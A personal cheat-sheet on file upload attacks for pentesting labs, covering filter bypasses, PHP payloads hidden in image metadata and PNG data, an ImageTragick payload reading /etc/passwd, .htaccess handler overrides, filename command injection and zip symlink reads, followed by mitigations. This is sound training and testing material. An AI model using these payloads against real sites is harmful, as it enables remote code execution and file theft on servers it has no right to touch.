File upload

fileuploadattacks uploadvulns adventofcyber2 vulnversity rrootme startup bypassdisablefunctions nibbles double_extensions mime_type null_byte file_upload_zip local_file_inclusion_wrappers file_upload_polyglot samcms imagick php_apache_configuration

It's common for websites to allow users to upload files such as an avatar. Unfortunately, in some cases, a hacker can upload malicious files such as a script leading to Remote Code Execution (RCE).

Usually, most websites have filters, but there are often logic flaws in the filtering, leading to malicious files successfully uploaded.

There may be JavaScript filters, and to be more efficient while making requests, we usually use tools such as:

# submit a file with name=file and value=path/to/file
$ curl -X POST -F "submit:value" -F "file:@path/to/file" URL

➑️ Refer to File Upload Wordlists.


Theoretical Process

  1. βœ… Upload a valid file
    Β 
  2. πŸ” Look for the folder where the file was uploaded.

  • Try to determine the naming scheme (ex: {time}-{filename}.png). You may have to use forced browsing tools if indexing was turned off.
  • Try to see the behavior if uploading a file with the same name

  1. β›” Try to upload a file that may be rejected
    Β 
  1. πŸ”“ If it was rejected, try a lot of payloads to see what the filter is using to assess whether a file can/can't be accepted. See the filter evasion section below. Test your valid file with:
  • the extension of the one that was rejected
  • the MIME type of the one that was rejected
  • the magic number of the one that was rejected
  • ...
    Β 
  1. πŸ’£ Try testing different file sizes to find the maximum upload size

  2. 🦘 Look if the image was transformed (resized, compressed)


Filter evasion

PHP functions that may be involved: pathinfo...

Extension Filter Bypass

fileuploadattacks uploadvulns adventofcyber2 adventofcyber2

The filter may uses "contains" instead of "ends with", which is often present due to the usage of a regex while missing a $.

malicious.png.php

If they use a blacklist/deny list

  • Other extensions that may have been enabled: .php5, .phtml, .php2, .php3, .php4,.php7, .pht, .phps, .phar, .inc...

  • The filter may be case-sensitive: .pHp, .PHP, .PHTML... But these extensions will mostly not be executed on Linux.


Character Filter Bypass

fileuploadattacks uploadvulns null_byte

For instance, the null byte (PHP < 5.3.4):

malicious.php%00.png -> malicious.php
malicious.php\x00.png -> malicious.php

Other characters:

  • %20 (space)
  • %0a/%0d%0a/%0d%0d%0a (line breaks)
  • /, .\, ., …,
  • On Windows, file.php:.jpg becomes file.php

Bypass Using Metadata

We can inject code in an image metadata, such as with:

$ exiftool -comment="<?php phpinfo(); ?>" file.png

File Content Filter Bypass

uploadvulns

If there is a filter checking for the <?php tag, you can try:

  • testing if the filter is case-sensitive: <?PHP, <?pHP...
  • testing with another variant: <?="xxx"?>...

MIME-type Filter Bypass

fileuploadattacks uploadvulns bypassdisablefunctions

MIME-type filters may use the user content-type header send with the request, that we can easily spoof.

Content-Type: application/php -> image/png

If the application checks the MIME-type itself, we can spoof the file magic number. Using a command such as file xxx, you can see the current infered MIME-type. This is done by checking the first bytes of the file for a value called magic numbers/Apple Reference.

  • Metadata - no need to use a fake mimetype
$ convert hello.jpg -set comment "<php content here>" script.jpg
  • Fake GIF
$ echo 'GIF8<php content here>' > script.php
  • Fake JPG
$ mv script.php script.jpg
$ file script.jpg # ASCII text
$ cat script.jpg
xxxx[...] # added 4 dummy characters at the start
$ hexeditor script.jpg # FF D8 FF E0 then CTRL+X
$ file script.jpg # JPG

Image Transformations

Images may be processed by the server, such as being resized, compressed, etc. These operations will lead to pixels being deleted and the payload being lost. The GD library is commonly used in PHP.

The original author compiled the sequence a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310 that corresponds to <?=$_GET[0]($_POST[1]);?> after applying the PNG Filters and a compression algorithm on the image.

➑️ Use huntergregal IDAT generator (0.2k ⭐) or pixload(1.2k ⭐) for XSS. Use Astrolock generators (0.1k ⭐) for PHP code injection in PNGs.

ImageMagick File Conversation β€” Imagetragick CVEs

imagick

Back in 2016, 4 critical CVEs and one in 2020 were discovered in ImageMagick allowing file reading/writing, SSRF, and RCE.

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
fill 'url(https://example.com/image.jpg"; [...]"'
pop graphic-context

PLTE Chunk

Not covered for now.

Imagick Image Resizing

Not tested. It erases tEXT chunks "comment", modify some known tEXT chunks, and keep the others as-if.

import sys
import PIL         # pip install pillow
import pillow_heif # pip install pillow-heif

image = PIL.Image.open("input.jpg")
if 'properties' not in image.info:
	image.info['properties'] = {}
image.info['properties']['PoC'] = '<payload here>'
image.save("output.jpg", format="JPEG", **image.info)

GD Image Resizing β€” PHP

samcms

If the uploaded image was resized to a fixed size that is less than 61 pixels, there are reliable ways to inject PHP code that survives resizing. There are multiple PHP scripts for 40x40 and 55x55.

I wrote a Python script that requires the pillow library. It supports images up to 61x61 as per the article from 2014.

$ pip install pillow
$ wget "https://raw.githubusercontent.com/QuentinRa/blog.quentinra.dev/master/cybersecurity/red-team/s3.exploitation/vulns/web/files/gd_hide_php_in_png.py"
$ python3 gd_hide_php_in_png.py --size 55
OK
$ cat in.png  # the image to upload
$ cat out.png # the image after resizing

Other techniques

Reverse Double Extension

fileuploadattacks double_extensions

It's possible that the website administrator had misconfigured the web server, allowing files such as script.php.jpg to be executed.

As regexes are used to define which files can be executed, if the $ is missing, then the server is misconfigured.

As this is not common to edit this kind of setting, it's unlikely to occur.


Polyglot File

file_upload_polyglot

In some scenarios, the only way to bypass mitigations is to hide two files in one, with both of them valid. It's not always possible.

Due to how a phar works, it's possible to add an image such as JPG, inside the stub, before the php code.


Upload .htaccess Configuration

php_apache_configuration

If we can upload a .htaccess file, we can put inside a payload allowing us to reconfigure the Apache server if we were allowed to.

php_flag engine on
SetHandler application/x-httpd-php
# <pre><?php echo "hello world!"; ?></pre>

Refer to my htaccess exploitation cheatsheet.

Side Attacks

fileuploadattacks file_upload_zip

Even if the upload is not vulnerable and we can't upload a webshell, we may still be able to perform other attacks:

  • Use the filename for injections (command, XML, SQL, etc.)
$ file$(whoami).jpg
$ file`whoami`.jpg
$ file.jpg||whoami
  • Use a overly long filename to see if it raises an error

  • If we can upload a SVG, we can try a XXE attack to read the source code (disclose the upload directory, etc.).

  • If the websites display the metadata, we may be able to perform an XSS attack. For instance,

$ exiftool -Comment='<xss payload here>' file.php
  • When uploading a ZIP that is decompressed, you may try to see if you can use symlink to read files.
$ ln -s ../../../index.php index.txt   # read index.php
$ zip --symlinks test.zip index.txt
$ zip -y test.zip index.txt

Mitigation πŸ›‘οΈ

  • Extension Validation πŸ”’: both blacklist and whitelist extensions. Ensure the logic checks the last extension.

  • Filetype Validation πŸ”‘: do not use the client Content-Type/MIME type. Use the magic number to check the file type.

  • Upload Folder Disclosure πŸ“: hide the upload folder, especially if users are not supposed to access uploaded files. If possible, ensure it is not accessible from the web (see also: web root, .htaccess, etc.).

  • Server-side Validation πŸ“š: client-side validations are nice for normal users but not enough as they can be disabled or ignored.

  • Upload File(s) Disclosure πŸ“„: if the folder is accessible, access to uploaded files must be restricted based on whether should be able to access them or not. Randomize the names or avoid using user-input to name the file (ex: append the extension). Disable indexing.

  • Add Upload Size 🎑 restrictions and use a WAF 🧯

As always, we can configure the server to block some functions or disable access to folders outside the application directories.


πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

  • FTP, if it's linked to the website folder, and we can upload files
  • Decompression Bomb, Pixel Flood
  • Windows specific attacks with invalid filename (CON, COM1, LPT1, or NUL) or reserved characters (|, <, >, *, or ?)